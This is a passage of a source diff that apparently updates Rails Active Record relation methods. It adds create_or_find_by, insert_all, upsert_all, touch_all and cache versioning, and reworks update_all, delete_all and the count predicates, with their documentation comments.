+    # doesn't have a relevant unique constraint it could be the case that
+    # you end up with two or more similar records.
     def find_or_create_by(attributes, &block)
-      find_by(attributes) || create(attributes, &block)
+      find_by(attributes) || create_or_find_by(attributes, &block)
     end
 
     # Like #find_or_create_by, but calls
     # {create!}[rdoc-ref:Persistence::ClassMethods#create!] so an exception
     # is raised if the created record is invalid.
     def find_or_create_by!(attributes, &block)
-      find_by(attributes) || create!(attributes, &block)
+      find_by(attributes) || create_or_find_by!(attributes, &block)
+    end
+
+    # Attempts to create a record with the given attributes in a table that has a unique database constraint
+    # on one or several of its columns. If a row already exists with one or several of these
+    # unique constraints, the exception such an insertion would normally raise is caught,
+    # and the existing record with those attributes is found using #find_by!.
+    #
+    # This is similar to #find_or_create_by, but tries to create the record first. As such it is
+    # better suited for cases where the record is most likely not to exist yet.
+    #
+    # There are several drawbacks to #create_or_find_by, though:
+    #
+    # * The underlying table must have the relevant columns defined with unique database constraints.
+    # * A unique constraint violation may be triggered by only one, or at least less than all,
+    #   of the given attributes. This means that the subsequent #find_by! may fail to find a
+    #   matching record, which will then raise an ActiveRecord::RecordNotFound exception,
+    #   rather than a record with the given attributes.
+    # * While we avoid the race condition between SELECT -> INSERT from #find_or_create_by,
+    #   we actually have another race condition between INSERT -> SELECT, which can be triggered
+    #   if a DELETE between those two statements is run by another client. But for most applications,
+    #   that's a significantly less likely condition to hit.
+    # * It relies on exception handling to handle control flow, which may be marginally slower.
+    # * The primary key may auto-increment on each create, even if it fails. This can accelerate
+    #   the problem of running out of integers, if the underlying table is still stuck on a primary
+    #   key of type int (note: All \Rails apps since 5.1+ have defaulted to bigint, which is not liable
+    #   to this problem).
+    # * Columns with unique database constraints should not have uniqueness validations defined,
+    #   otherwise #create will fail due to validation errors and #find_by will never be called.
+    #
+    # This method will return a record if all given attributes are covered by unique constraints
+    # (unless the INSERT -> DELETE -> SELECT race condition is triggered), but if creation was attempted
+    # and failed due to validation errors it won't be persisted, you get what #create returns in
+    # such situation.
+    def create_or_find_by(attributes, &block)
+      with_connection do |connection|
+        record = nil
+        transaction(requires_new: true) do
+          record = create(attributes, &block)
+          record._last_transaction_return_status || raise(ActiveRecord::Rollback)
+        end
+        record
+      rescue ActiveRecord::RecordNotUnique
+        if connection.transaction_open?
+          where(attributes).lock.find_by!(attributes)
+        else
+          find_by!(attributes)
+        end
+      end
+    end
+
+    # Like #create_or_find_by, but calls
+    # {create!}[rdoc-ref:Persistence::ClassMethods#create!] so an exception
+    # is raised if the created record is invalid.
+    def create_or_find_by!(attributes, &block)
+      with_connection do |connection|
+        record = nil
+        transaction(requires_new: true) do
+          record = create!(attributes, &block)
+          record._last_transaction_return_status || raise(ActiveRecord::Rollback)
+        end
+        record
+      rescue ActiveRecord::RecordNotUnique
+        if connection.transaction_open?
+          where(attributes).lock.find_by!(attributes)
+        else
+          find_by!(attributes)
+        end
+      end
     end
 
-    # Like #find_or_create_by, but calls {new}[rdoc-ref:Core#new]
+    # Like #find_or_create_by, but calls {new}[rdoc-ref:Core.new]
     # instead of {create}[rdoc-ref:Persistence::ClassMethods#create].
     def find_or_initialize_by(attributes, &block)
       find_by(attributes) || new(attributes, &block)
@@ -237,19 +317,37 @@ def find_or_initialize_by(attributes, &block)
     # returns the result as a string. The string is formatted imitating the
     # ones printed by the database shell.
     #
+    #   User.all.explain
+    #   # EXPLAIN SELECT `users`.* FROM `users`
+    #   # ...
+    #
     # Note that this method actually runs the queries, since the results of some
     # are needed by the next ones when eager loading is going on.
     #
+    # To run EXPLAIN on queries created by +first+, +pluck+ and +count+, call
+    # these methods on +explain+:
+    #
+    #   User.all.explain.count
+    #   # EXPLAIN SELECT COUNT(*) FROM `users`
+    #   # ...
+    #
+    # The column name can be passed if required:
+    #
+    #   User.all.explain.maximum(:id)
+    #   # EXPLAIN SELECT MAX(`users`.`id`) FROM `users`
+    #   # ...
+    #
     # Please see further details in the
-    # {Active Record Query Interface guide}[http://guides.rubyonrails.org/active_record_querying.html#running-explain].
-    def explain
-      exec_explain(collecting_queries_for_explain { exec_queries })
+    # {Active Record Query Interface guide}[https://guides.rubyonrails.org/active_record_querying.html#running-explain].
+    def explain(*options)
+      ExplainProxy.new(self, options)
     end
 
     # Converts relation objects to Array.
-    def to_a
+    def to_ary
       records.dup
     end
+    alias to_a to_ary
 
     def records # :nodoc:
       load
@@ -261,70 +359,179 @@ def encode_with(coder)
       coder.represent_seq(nil, records)
     end
 
-    def as_json(options = nil) #:nodoc:
-      records.as_json(options)
-    end
-
     # Returns size of the records.
     def size
-      loaded? ? @records.length : count(:all)
+      if loaded?
+        records.length
+      else
+        count(:all)
+      end
     end
 
     # Returns true if there are no records.
     def empty?
-      return @records.empty? if loaded?
+      return true if @none
 
-      limit_value == 0 || !exists?
+      if loaded?
+        records.empty?
+      else
+        !exists?
+      end
     end
 
     # Returns true if there are no records.
-    def none?
-      return super if block_given?
+    #
+    # When a pattern argument is given, this method checks whether elements in
+    # the Enumerable match the pattern via the case-equality operator (<tt>===</tt>).
+    #
+    #   posts.none?(Comment) # => true or false
+    def none?(*args)
+      return true if @none
+
+      return super if args.present? || block_given?
       empty?
     end
 
     # Returns true if there are any records.
-    def any?
-      return super if block_given?
+    #
+    # When a pattern argument is given, this method checks whether elements in
+    # the Enumerable match the pattern via the case-equality operator (<tt>===</tt>).
+    #
+    #    posts.any?(Post) # => true or false
+    def any?(*args)
+      return false if @none
+
+      return super if args.present? || block_given?
       !empty?
     end
 
     # Returns true if there is exactly one record.
-    def one?
-      return super if block_given?
-      limit_value ? records.one? : size == 1
+    #
+    # When a pattern argument is given, this method checks whether elements in
+    # the Enumerable match the pattern via the case-equality operator (<tt>===</tt>).
+    #
+    #    posts.one?(Post) # => true or false
+    def one?(*args)
+      return false if @none
+
+      return super if args.present? || block_given?
+      return records.one? if loaded?
+      limited_count == 1
     end
 
     # Returns true if there is more than one record.
     def many?
+      return false if @none
+
       return super if block_given?
-      limit_value ? records.many? : size > 1
+      return records.many? if loaded?
+      limited_count > 1
     end
 
-    # Returns a cache key that can be used to identify the records fetched by
-    # this query. The cache key is built with a fingerprint of the sql query,
-    # the number of records matched by the query and a timestamp of the last
-    # updated record. When a new record comes to match the query, or any of
-    # the existing records is updated or deleted, the cache key changes.
+    # Returns a stable cache key that can be used to identify this query.
+    # The cache key is built with a fingerprint of the SQL query.
     #
-    #   Product.where("name like ?", "%Cosmic Encounter%").cache_key
-    #   # => "products/query-1850ab3d302391b85b8693e941286659-1-20150714212553907087000"
+    #    Product.where("name like ?", "%Cosmic Encounter%").cache_key
+    #    # => "products/query-1850ab3d302391b85b8693e941286659"
     #
-    # If the collection is loaded, the method will iterate through the records
-    # to generate the timestamp, otherwise it will trigger one SQL query like:
+    # If ActiveRecord::Base.collection_cache_versioning is turned off, as it was
+    # in \Rails 6.0 and earlier, the cache key will also include a version.
     #
-    #    SELECT COUNT(*), MAX("products"."updated_at") FROM "products" WHERE (name like '%Cosmic Encounter%')
+    #    ActiveRecord::Base.collection_cache_versioning = false
+    #    Product.where("name like ?", "%Cosmic Encounter%").cache_key
+    #    # => "products/query-1850ab3d302391b85b8693e941286659-1-20150714212553907087000"
     #
     # You can also pass a custom timestamp column to fetch the timestamp of the
     # last updated record.
     #
     #   Product.where("name like ?", "%Game%").cache_key(:last_reviewed_at)
-    #
-    # You can customize the strategy to generate the key on a per model basis
-    # overriding ActiveRecord::Base#collection_cache_key.
-    def cache_key(timestamp_column = :updated_at)
+    def cache_key(timestamp_column = "updated_at")
       @cache_keys ||= {}
-      @cache_keys[timestamp_column] ||= @klass.collection_cache_key(self, timestamp_column)
+      @cache_keys[timestamp_column] ||= model.collection_cache_key(self, timestamp_column)
+    end
+
+    def compute_cache_key(timestamp_column = :updated_at) # :nodoc:
+      query_signature = ActiveSupport::Digest.hexdigest(to_sql)
+      key = "#{model.model_name.cache_key}/query-#{query_signature}"
+
+      if model.collection_cache_versioning
+        key
+      else
+        "#{key}-#{compute_cache_version(timestamp_column)}"
+      end
+    end
+    private :compute_cache_key
+
+    # Returns a cache version that can be used together with the cache key to form
+    # a recyclable caching scheme. The cache version is built with the number of records
+    # matching the query, and the timestamp of the last updated record. When a new record
+    # comes to match the query, or any of the existing records is updated or deleted,
+    # the cache version changes.
+    #
+    # If the collection is loaded, the method will iterate through the records
+    # to generate the timestamp, otherwise it will trigger one SQL query like:
+    #
+    #    SELECT COUNT(*), MAX("products"."updated_at") FROM "products" WHERE (name like '%Cosmic Encounter%')
+    def cache_version(timestamp_column = :updated_at)
+      if model.collection_cache_versioning
+        @cache_versions ||= {}
+        @cache_versions[timestamp_column] ||= compute_cache_version(timestamp_column)
+      end
+    end
+
+    def compute_cache_version(timestamp_column) # :nodoc:
+      timestamp_column = timestamp_column.to_s
+
+      if loaded?
+        size = records.size
+        if size > 0
+          timestamp = records.map { |record| record.read_attribute(timestamp_column) }.max
+        end
+      else
+        collection = eager_loading? ? apply_join_dependency : self
+
+        with_connection do |c|
+          column = c.visitor.compile(table[timestamp_column])
+          select_values = "COUNT(*) AS #{model.adapter_class.quote_column_name("size")}, MAX(%s) AS timestamp"
+
+          if collection.has_limit_or_offset?
+            query = collection.select("#{column} AS collection_cache_key_timestamp")
+            query._select!(table[Arel.star]) if distinct_value && collection.select_values.empty?
+            subquery_alias = "subquery_for_cache_key"
+            subquery_column = "#{subquery_alias}.collection_cache_key_timestamp"
+            arel = query.build_subquery(subquery_alias, select_values % subquery_column)
+          else
+            query = collection.unscope(:order)
+            query.select_values = [select_values % column]
+            arel = query.arel
+          end
+
+          size, timestamp = c.select_rows(arel, nil).first
+
+          if size
+            column_type = model.type_for_attribute(timestamp_column)
+            timestamp = column_type.deserialize(timestamp)
+          else
+            size = 0
+          end
+        end
+      end
+
+      if timestamp
+        "#{size}-#{timestamp.utc.to_fs(model.cache_timestamp_format)}"
+      else
+        "#{size}"
+      end
+    end
+    private :compute_cache_version
+
+    # Returns a cache key along with the version.
+    def cache_key_with_version
+      if version = cache_version
+        "#{cache_key}-#{version}"
+      else
+        cache_key
+      end
     end
 
     # Scope all queries to the current scope.
@@ -332,25 +539,45 @@ def cache_key(timestamp_column = :updated_at)
     #   Comment.where(post_id: 1).scoping do
     #     Comment.first
     #   end
-    #   # => SELECT "comments".* FROM "comments" WHERE "comments"."post_id" = 1 ORDER BY "comments"."id" ASC LIMIT 1
+    #   # SELECT "comments".* FROM "comments" WHERE "comments"."post_id" = 1 ORDER BY "comments"."id" ASC LIMIT 1
+    #
+    # If <tt>all_queries: true</tt> is passed, scoping will apply to all queries
+    # for the relation including +update+ and +delete+ on instances.
+    # Once +all_queries+ is set to true it cannot be set to false in a
+    # nested block.
     #
     # Please check unscoped if you want to remove all previous scopes (including
     # the default_scope) during the execution of a block.
-    def scoping
-      previous, klass.current_scope = klass.current_scope, self
-      yield
+    def scoping(all_queries: nil, &block)
+      registry = model.scope_registry
+      if global_scope?(registry) && all_queries == false
+        raise ArgumentError, "Scoping is set to apply to all queries and cannot be unset in a nested block."
+      elsif already_in_scope?(registry)
+        yield
+      else
+        _scoping(self, registry, all_queries, &block)
+      end
+    end
+
+    def _exec_scope(...) # :nodoc:
+      @delegate_to_model = true
+      registry = model.scope_registry
+      _scoping(nil, registry) { instance_exec(...) || self }
     ensure
-      klass.current_scope = previous
+      @delegate_to_model = false
     end
 
     # Updates all records in the current relation with details given. This method constructs a single SQL UPDATE
     # statement and sends it straight to the database. It does not instantiate the involved models and it does not
     # trigger Active Record callbacks or validations. However, values passed to #update_all will still go through
-    # Active Record's normal type casting and serialization.
+    # Active Record's normal type casting and serialization. Returns the number of rows affected.
+    #
+    # Note: As Active Record callbacks are not triggered, this method will not automatically update +updated_at+/+updated_on+ columns.
     #
     # ==== Parameters
     #
-    # * +updates+ - A string, array, or hash representing the SET part of an SQL statement.
+    # * +updates+ - A string, array, or hash representing the SET part of an SQL statement. Any strings provided will
+    #   be type cast, unless you use +Arel.sql+. (Don't pass user-provided values to +Arel.sql+.)
     #
     # ==== Examples
     #
@@ -365,68 +592,404 @@ def scoping
     #
     #   # Update all invoices and set the number column to its id value.
     #   Invoice.update_all('number = id')
+    #
+    #   # Update all books with 'Rails' in their title
+    #   Book.where('title LIKE ?', '%Rails%').update_all(title: Arel.sql("title + ' - volume 1'"))
     def update_all(updates)
       raise ArgumentError, "Empty list of attributes to change" if updates.blank?
 
-      stmt = Arel::UpdateManager.new
+      return 0 if @none
+
+      invalid_methods = INVALID_METHODS_FOR_UPDATE_AND_DELETE_ALL.select do |method|
+        value = @values[method]
+        method == :distinct ? value : value&.any?
+      end
+      if invalid_methods.any?
+        ActiveRecord.deprecator.warn <<~MESSAGE
+          `#{invalid_methods.join(', ')}` is not supported by `update_all` and was never included in the generated query.
+
+          Calling `#{invalid_methods.join(', ')}` with `update_all` will raise an error in Rails 8.2.
+        MESSAGE
+      end
+
+      if updates.is_a?(Hash)
+        if model.locking_enabled? &&
+            !updates.key?(model.locking_column) &&
+            !updates.key?(model.locking_column.to_sym)
+          attr = table[model.locking_column]
+          updates[attr.name] = _increment_attribute(attr)
+        end
+        values = _substitute_values(updates)
+      else
+        values = Arel.sql(model.sanitize_sql_for_assignment(updates, table.name))
+      end
 
-      stmt.set Arel.sql(@klass.send(:sanitize_sql_for_assignment, updates))
-      stmt.table(table)
+      model.with_connection do |c|
+        arel = eager_loading? ? apply_join_dependency.arel : arel()
+        arel.source.left = table
 
-      if has_join_values?
-        @klass.connection.join_to_update(stmt, arel, arel_attribute(primary_key))
+        key = if model.composite_primary_key?
+          primary_key.map { |pk| table[pk] }
+        else
+          table[primary_key]
+        end
+        stmt = arel.compile_update(values, key)
+        c.update(stmt, "#{model} Update All").tap { reset }
+      end
+    end
+
+    def update(id = :all, attributes) # :nodoc:
+      if id == :all
+        each { |record| record.update(attributes) }
       else
-        stmt.key = arel_attribute(primary_key)
-        stmt.take(arel.limit)
-        stmt.order(*arel.orders)
-        stmt.wheres = arel.constraints
+        model.update(id, attributes)
       end
+    end
 
-      @klass.connection.update stmt, "SQL", bound_attributes
+    def update!(id = :all, attributes) # :nodoc:
+      if id == :all
+        each { |record| record.update!(attributes) }
+      else
+        model.update!(id, attributes)
+      end
+    end
+
+
+    # Inserts a single record into the database in a single SQL INSERT
+    # statement. It does not instantiate any models nor does it trigger
+    # Active Record callbacks or validations. Though passed values
+    # go through Active Record's type casting and serialization.
+    #
+    # See #insert_all for documentation.
+    def insert(attributes, returning: nil, unique_by: nil, record_timestamps: nil)
+      insert_all([ attributes ], returning: returning, unique_by: unique_by, record_timestamps: record_timestamps)
+    end
+
+    # Inserts multiple records into the database in a single SQL INSERT
+    # statement. It does not instantiate any models nor does it trigger
+    # Active Record callbacks or validations. Though passed values
+    # go through Active Record's type casting and serialization.
+    #
+    # The +attributes+ parameter is an Array of Hashes. Every Hash determines
+    # the attributes for a single row and must have the same keys.
+    #
+    # Rows are considered to be unique by every unique index on the table. Any
+    # duplicate rows are skipped.
+    # Override with <tt>:unique_by</tt> (see below).
+    #
+    # Returns an ActiveRecord::Result with its contents based on
+    # <tt>:returning</tt> (see below).
+    #
+    # ==== Options
+    #
+    # [:returning]
+    #   (PostgreSQL, SQLite3, and MariaDB only) An array of attributes to return for all successfully
+    #   inserted records, which by default is the primary key.
+    #   Pass <tt>returning: %w[ id name ]</tt> for both id and name
+    #   or <tt>returning: false</tt> to omit the underlying <tt>RETURNING</tt> SQL
+    #   clause entirely.
+    #
+    #   You can also pass an SQL string if you need more control on the return values
+    #   (for example, <tt>returning: Arel.sql("id, name as new_name")</tt>).
+    #
+    # [:unique_by]
+    #   (PostgreSQL and SQLite only) By default rows are considered to be unique
+    #   by every unique index on the table. Any duplicate rows are skipped.
+    #
+    #   To skip rows according to just one unique index pass <tt>:unique_by</tt>.
+    #
+    #   Consider a Book model where no duplicate ISBNs make sense, but if any
+    #   row has an existing id, or is not unique by another unique index,
+    #   ActiveRecord::RecordNotUnique is raised.
+    #
+    #   Unique indexes can be identified by columns or name:
+    #
+    #     unique_by: :isbn
+    #     unique_by: %i[ author_id name ]
+    #     unique_by: :index_books_on_isbn
+    #
+    # [:record_timestamps]
+    #   By default, automatic setting of timestamp columns is controlled by
+    #   the model's <tt>record_timestamps</tt> config, matching typical
+    #   behavior.
+    #
+    #   To override this and force automatic setting of timestamp columns one
+    #   way or the other, pass <tt>:record_timestamps</tt>:
+    #
+    #     record_timestamps: true  # Always set timestamps automatically
+    #     record_timestamps: false # Never set timestamps automatically
+    #
+    # Because it relies on the index information from the database
+    # <tt>:unique_by</tt> is recommended to be paired with
+    # Active Record's schema_cache.
+    #
+    # ==== Example
+    #
+    #   # Insert records and skip inserting any duplicates.
+    #   # Here "Eloquent Ruby" is skipped because its id is not unique.
+    #
+    #   Book.insert_all([
+    #     { id: 1, title: "Rework", author: "David" },
+    #     { id: 1, title: "Eloquent Ruby", author: "Russ" }
+    #   ])
+    #
+    #   # insert_all works on chained scopes, and you can use create_with
+    #   # to set default attributes for all inserted records.
+    #
+    #   author.books.create_with(created_at: Time.now).insert_all([
+    #     { id: 1, title: "Rework" },
+    #     { id: 2, title: "Eloquent Ruby" }
+    #   ])
+    def insert_all(attributes, returning: nil, unique_by: nil, record_timestamps: nil)
+      InsertAll.execute(self, attributes, on_duplicate: :skip, returning: returning, unique_by: unique_by, record_timestamps: record_timestamps)
+    end
+
+    # Inserts a single record into the database in a single SQL INSERT
+    # statement. It does not instantiate any models nor does it trigger
+    # Active Record callbacks or validations. Though passed values
+    # go through Active Record's type casting and serialization.
+    #
+    # See #insert_all! for more.
+    def insert!(attributes, returning: nil, record_timestamps: nil)
+      insert_all!([ attributes ], returning: returning, record_timestamps: record_timestamps)
+    end
+
+    # Inserts multiple records into the database in a single SQL INSERT
+    # statement. It does not instantiate any models nor does it trigger
+    # Active Record callbacks or validations. Though passed values
+    # go through Active Record's type casting and serialization.
+    #
+    # The +attributes+ parameter is an Array of Hashes. Every Hash determines
+    # the attributes for a single row and must have the same keys.
+    #
+    # Raises ActiveRecord::RecordNotUnique if any rows violate a
+    # unique index on the table. In that case, no rows are inserted.
+    #
+    # To skip duplicate rows, see #insert_all. To replace them, see #upsert_all.
+    #
+    # Returns an ActiveRecord::Result with its contents based on
+    # <tt>:returning</tt> (see below).
+    #
+    # ==== Options
+    #
+    # [:returning]
+    #   (PostgreSQL, SQLite3, and MariaDB only) An array of attributes to return for all successfully
+    #   inserted records, which by default is the primary key.
+    #   Pass <tt>returning: %w[ id name ]</tt> for both id and name
+    #   or <tt>returning: false</tt> to omit the underlying <tt>RETURNING</tt> SQL
+    #   clause entirely.
+    #
+    #   You can also pass an SQL string if you need more control on the return values
+    #   (for example, <tt>returning: Arel.sql("id, name as new_name")</tt>).
+    #
+    # [:record_timestamps]
+    #   By default, automatic setting of timestamp columns is controlled by
+    #   the model's <tt>record_timestamps</tt> config, matching typical
+    #   behavior.
+    #
+    #   To override this and force automatic setting of timestamp columns one
+    #   way or the other, pass <tt>:record_timestamps</tt>:
+    #
+    #     record_timestamps: true  # Always set timestamps automatically
+    #     record_timestamps: false # Never set timestamps automatically
+    #
+    # ==== Examples
+    #
+    #   # Insert multiple records
+    #   Book.insert_all!([
+    #     { title: "Rework", author: "David" },
+    #     { title: "Eloquent Ruby", author: "Russ" }
+    #   ])
+    #
+    #   # Raises ActiveRecord::RecordNotUnique because "Eloquent Ruby"
+    #   # does not have a unique id.
+    #   Book.insert_all!([
+    #     { id: 1, title: "Rework", author: "David" },
+    #     { id: 1, title: "Eloquent Ruby", author: "Russ" }
+    #   ])
+    def insert_all!(attributes, returning: nil, record_timestamps: nil)
+      InsertAll.execute(self, attributes, on_duplicate: :raise, returning: returning, record_timestamps: record_timestamps)
+    end
+
+    # Updates or inserts (upserts) a single record into the database in a
+    # single SQL INSERT statement. It does not instantiate any models nor does
+    # it trigger Active Record callbacks or validations. Though passed values
+    # go through Active Record's type casting and serialization.
+    #
+    # See #upsert_all for documentation.
+    def upsert(attributes, **kwargs)
+      upsert_all([ attributes ], **kwargs)
+    end
+
+    # Updates or inserts (upserts) multiple records into the database in a
+    # single SQL INSERT statement. It does not instantiate any models nor does
+    # it trigger Active Record callbacks or validations. Though passed values
+    # go through Active Record's type casting and serialization.
+    #
+    # The +attributes+ parameter is an Array of Hashes. Every Hash determines
+    # the attributes for a single row and must have the same keys.
+    #
+    # Returns an ActiveRecord::Result with its contents based on
+    # <tt>:returning</tt> (see below).
+    #
+    # By default, +upsert_all+ will update all the columns that can be updated when
+    # there is a conflict. These are all the columns except primary keys, read-only
+    # columns, and columns covered by the optional +unique_by+.
+    #
+    # ==== Options
+    #
+    # [:returning]
+    #   (PostgreSQL, SQLite3, and MariaDB only) An array of attributes to return for all successfully
+    #   upserted records, which by default is the primary key.
+    #   Pass <tt>returning: %w[ id name ]</tt> for both id and name
+    #   or <tt>returning: false</tt> to omit the underlying <tt>RETURNING</tt> SQL
+    #   clause entirely.
+    #
+    #   You can also pass an SQL string if you need more control on the return values
+    #   (for example, <tt>returning: Arel.sql("id, name as new_name")</tt>).
+    #
+    # [:unique_by]
+    #   (PostgreSQL and SQLite only) By default rows are considered to be unique
+    #   by every unique index on the table. Any duplicate rows are skipped.
+    #
+    #   To skip rows according to just one unique index pass <tt>:unique_by</tt>.
+    #
+    #   Consider a Book model where no duplicate ISBNs make sense, but if any
+    #   row has an existing id, or is not unique by another unique index,
+    #   ActiveRecord::RecordNotUnique is raised.
+    #
+    #   Unique indexes can be identified by columns or name:
+    #
+    #     unique_by: :isbn
+    #     unique_by: %i[ author_id name ]
+    #     unique_by: :index_books_on_isbn
+    #
+    # Because it relies on the index information from the database
+    # <tt>:unique_by</tt> is recommended to be paired with
+    # Active Record's schema_cache.
+    #
+    # [:on_duplicate]
+    #   Configure the behavior that will be used in case of conflict. Use `:skip`
+    #   to ignore any conflicts or provide a safe SQL fragment wrapped with
+    #   `Arel.sql`.
+    #
+    #   NOTE: If you use this option you must provide all the columns you want to update
+    #   by yourself.
+    #
+    #   Example:
+    #
+    #     Commodity.upsert_all(
+    #       [
+    #         { id: 2, name: "Copper", price: 4.84 },
+    #         { id: 4, name: "Gold", price: 1380.87 },
+    #         { id: 6, name: "Aluminium", price: 0.35 }
+    #       ],
+    #       on_duplicate: Arel.sql("price = GREATEST(commodities.price, EXCLUDED.price)")
+    #     )
+    #
+    #   See the related +:update_only+ option. Both options can't be used at the same time.
+    #
+    # [:update_only]
+    #   Provide a list of column names that will be updated in case of conflict. If not provided,
+    #   +upsert_all+ will update all the columns that can be updated. These are all the columns
+    #   except primary keys, read-only columns, and columns covered by the optional +unique_by+
+    #
+    #   Example:
+    #
+    #     Commodity.upsert_all(
+    #       [
+    #         { id: 2, name: "Copper", price: 4.84 },
+    #         { id: 4, name: "Gold", price: 1380.87 },
+    #         { id: 6, name: "Aluminium", price: 0.35 }
+    #       ],
+    #       update_only: [:price] # Only prices will be updated
+    #     )
+    #
+    #   See the related +:on_duplicate+ option. Both options can't be used at the same time.
+    #
+    # [:record_timestamps]
+    #   By default, automatic setting of timestamp columns is controlled by
+    #   the model's <tt>record_timestamps</tt> config, matching typical
+    #   behavior.
+    #
+    #   To override this and force automatic setting of timestamp columns one
+    #   way or the other, pass <tt>:record_timestamps</tt>:
+    #
+    #     record_timestamps: true  # Always set timestamps automatically
+    #     record_timestamps: false # Never set timestamps automatically
+    #
+    # ==== Examples
+    #
+    #   # Inserts multiple records, performing an upsert when records have duplicate ISBNs.
+    #   # Here "Eloquent Ruby" overwrites "Rework" because its ISBN is duplicate.
+    #
+    #   Book.upsert_all([
+    #     { title: "Rework", author: "David", isbn: "1" },
+    #     { title: "Eloquent Ruby", author: "Russ", isbn: "1" }
+    #   ], unique_by: :isbn)
+    #
+    #   Book.find_by(isbn: "1").title # => "Eloquent Ruby"
+    def upsert_all(attributes, on_duplicate: :update, update_only: nil, returning: nil, unique_by: nil, record_timestamps: nil)
+      InsertAll.execute(self, attributes, on_duplicate: on_duplicate, update_only: update_only, returning: returning, unique_by: unique_by, record_timestamps: record_timestamps)
     end
 
-    # Updates an object (or multiple objects) and saves it to the database, if validations pass.
-    # The resulting object is returned whether the object was saved successfully to the database or not.
+    # Updates the counters of the records in the current relation.
     #
     # ==== Parameters
     #
-    # * +id+ - This should be the id or an array of ids to be updated.
-    # * +attributes+ - This should be a hash of attributes or an array of hashes.
+    # * +counter+ - A Hash containing the names of the fields to update as keys and the amount to update as values.
+    # * <tt>:touch</tt> option - Touch the timestamp columns when updating.
+    # * If attributes names are passed, they are updated along with update_at/on attributes.
     #
     # ==== Examples
     #
-    #   # Updates one record
-    #   Person.update(15, user_name: 'Samuel', group: 'expert')
-    #
-    #   # Updates multiple records
-    #   people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy" } }
-    #   Person.update(people.keys, people.values)
-    #
-    #   # Updates multiple records from the result of a relation
-    #   people = Person.where(group: 'expert')
-    #   people.update(group: 'masters')
-    #
-    # Note: Updating a large number of records will run an
-    # UPDATE query for each record, which may cause a performance
-    # issue. So if it is not needed to run callbacks for each update, it is
-    # preferred to use #update_all for updating all records using
-    # a single query.
-    def update(id = :all, attributes)
-      if id.is_a?(Array)
-        id.map.with_index { |one_id, idx| update(one_id, attributes[idx]) }
-      elsif id == :all
-        records.each { |record| record.update(attributes) }
-      else
-        if ActiveRecord::Base === id
-          raise ArgumentError, <<-MSG.squish
-            You are passing an instance of ActiveRecord::Base to `update`.
-            Please pass the id of the object by calling `.id`.
-          MSG
-        end
-        object = find(id)
-        object.update(attributes)
-        object
+    #   # For Posts by a given author increment the comment_count by 1.
+    #   Post.where(author_id: author.id).update_counters(comment_count: 1)
+    def update_counters(counters)
+      touch = counters.delete(:touch)
+
+      updates = {}
+      counters.each do |counter_name, value|
+        attr = table[counter_name]
+        updates[attr.name] = _increment_attribute(attr, value)
+      end
+
+      if touch
+        names = touch if touch != true
+        names = Array.wrap(names)
+        options = names.extract_options!
+        touch_updates = model.touch_attributes_with_time(*names, **options)
+        updates.merge!(touch_updates) unless touch_updates.empty?
       end
+
+      update_all updates
+    end
+
+    # Touches all records in the current relation, setting the +updated_at+/+updated_on+ attributes to the current time or the time specified.
+    # It does not instantiate the involved models, and it does not trigger Active Record callbacks or validations.
+    # This method can be passed attribute names and an optional time argument.
+    # If attribute names are passed, they are updated along with +updated_at+/+updated_on+ attributes.
+    # If no time argument is passed, the current time is used as default.
+    #
+    # ==== Examples
+    #
+    #   # Touch all records
+    #   Person.all.touch_all
+    #   # => "UPDATE \"people\" SET \"updated_at\" = '2018-01-04 22:55:23.132670'"
+    #
+    #   # Touch multiple records with a custom attribute
+    #   Person.all.touch_all(:created_at)
+    #   # => "UPDATE \"people\" SET \"updated_at\" = '2018-01-04 22:55:23.132670', \"created_at\" = '2018-01-04 22:55:23.132670'"
+    #
+    #   # Touch multiple records with a specified time
+    #   Person.all.touch_all(time: Time.new(2020, 5, 16, 0, 0, 0))
+    #   # => "UPDATE \"people\" SET \"updated_at\" = '2020-05-16 00:00:00'"
+    #
+    #   # Touch records with scope
+    #   Person.where(name: 'David').touch_all
+    #   # => "UPDATE \"people\" SET \"updated_at\" = '2018-01-04 22:55:23.132670' WHERE \"people\".\"name\" = 'David'"
+    def touch_all(*names, time: nil)
+      update_all model.touch_attributes_with_time(*names, time: time)
     end
 
     # Destroys the records by instantiating each
@@ -449,33 +1012,6 @@ def destroy_all
       records.each(&:destroy).tap { reset }
     end
 
-    # Destroy an object (or multiple objects) that has the given id. The object is instantiated first,
-    # therefore all callbacks and filters are fired off before the object is deleted. This method is
-    # less efficient than #delete but allows cleanup methods and other actions to be run.
-    #
-    # This essentially finds the object (or multiple objects) with the given id, creates a new object
-    # from the attributes, and then calls destroy on it.
-    #
-    # ==== Parameters
-    #
-    # * +id+ - Can be either an Integer or an Array of Integers.
-    #
-    # ==== Examples
-    #
-    #   # Destroy a single object
-    #   Todo.destroy(1)
-    #
-    #   # Destroy multiple objects
-    #   todos = [1,2,3]
-    #   Todo.destroy(todos)
-    def destroy(id)
-      if id.is_a?(Array)
-        id.map { |one_id| destroy(one_id) }
-      else
-        find(id).destroy
-      end
-    end
-
     # Deletes the records without instantiating the records
     # first, and hence not calling the {#destroy}[rdoc-ref:Persistence#destroy]
     # method nor invoking callbacks.
@@ -486,49 +1022,50 @@ def destroy(id)
     #
     #   Post.where(person_id: 5).where(category: ['Something', 'Else']).delete_all
     #
-    # Both calls delete the affected posts all at once with a single DELETE statement.
+    # This call deletes the affected posts all at once with a single DELETE statement.
     # If you need to destroy dependent associations or call your <tt>before_*</tt> or
     # +after_destroy+ callbacks, use the #destroy_all method instead.
     #
     # If an invalid method is supplied, #delete_all raises an ActiveRecordError:
     #
-    #   Post.limit(100).delete_all
-    #   # => ActiveRecord::ActiveRecordError: delete_all doesn't support limit
+    #   Post.distinct.delete_all
+    #   # => ActiveRecord::ActiveRecordError: delete_all doesn't support distinct
     def delete_all
-      invalid_methods = INVALID_METHODS_FOR_DELETE_ALL.select do |method|
-        value = get_value(method)
-        SINGLE_VALUE_METHODS.include?(method) ? value : value.any?
+      return 0 if @none
+
+      invalid_methods = INVALID_METHODS_FOR_UPDATE_AND_DELETE_ALL.select do |method|
+        value = @values[method]
+        method == :distinct ? value : value&.any?
       end
       if invalid_methods.any?
         raise ActiveRecordError.new("delete_all doesn't support #{invalid_methods.join(', ')}")
       end
 
-      stmt = Arel::DeleteManager.new
-      stmt.from(table)
+      model.with_connection do |c|
+        arel = eager_loading? ? apply_join_dependency.arel : arel()
+        arel.source.left = table
 
-      if has_join_values?
-        @klass.connection.join_to_delete(stmt, arel, arel_attribute(primary_key))
-      else
-        stmt.wheres = arel.constraints
-      end
-
